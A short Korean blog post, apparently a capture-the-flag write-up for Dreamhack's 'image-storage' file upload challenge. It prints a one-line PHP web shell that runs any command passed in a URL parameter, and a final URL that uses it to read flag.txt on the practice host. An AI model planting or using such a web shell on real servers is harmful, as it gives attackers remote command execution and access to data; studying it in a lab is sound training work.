본문 바로가기

Dream hack/LEVEL 1

Dreamhack (image-storage)

image upload 취약점에 대한 문제이다.

 

세 가지 경로 (index.php, list.php, upload.php) 가 존재한다.

 

  • '/' => 기본적인 main page 이다.
  • '/list.php' => 업로드 된 파일들을 보여준다.
  • '/upload.php' => 특정 기준에 따라 파일을 업로드한다.

 

웹쉘 코드를 업로드 한 후, flag가 있는 곳에 접근하여 flag를 탈취한다!

웹쉘은 다음과 같다.

 

<?php

system($_GET[cmd]);

?>

 

웹쉘을 업로드 하고, list에서 올린 웹쉘을 클릭한 후에

ls 명령어를 이용하여 flag.txt의 위치를 찾을 수 있다.

 

최종적인 url은 다음과 같다.

http://host3.dreamhack.games:8370/uploads/upload2.php?cmd=cd%20../../../../;cat%20flag.txt;

 

 

 

'Dream hack > LEVEL 1' 카테고리의 다른 글

Dreamhack (pathtraversal)  (0) 2023.03.31
Dreamhack (Carve Party)  (0) 2023.03.26
Dreamhack (csrf-2)  (0) 2023.03.24
Dreamhack (command-injection-1)  (0) 2023.03.24
Dreamhack (xss-2)  (0) 2023.03.24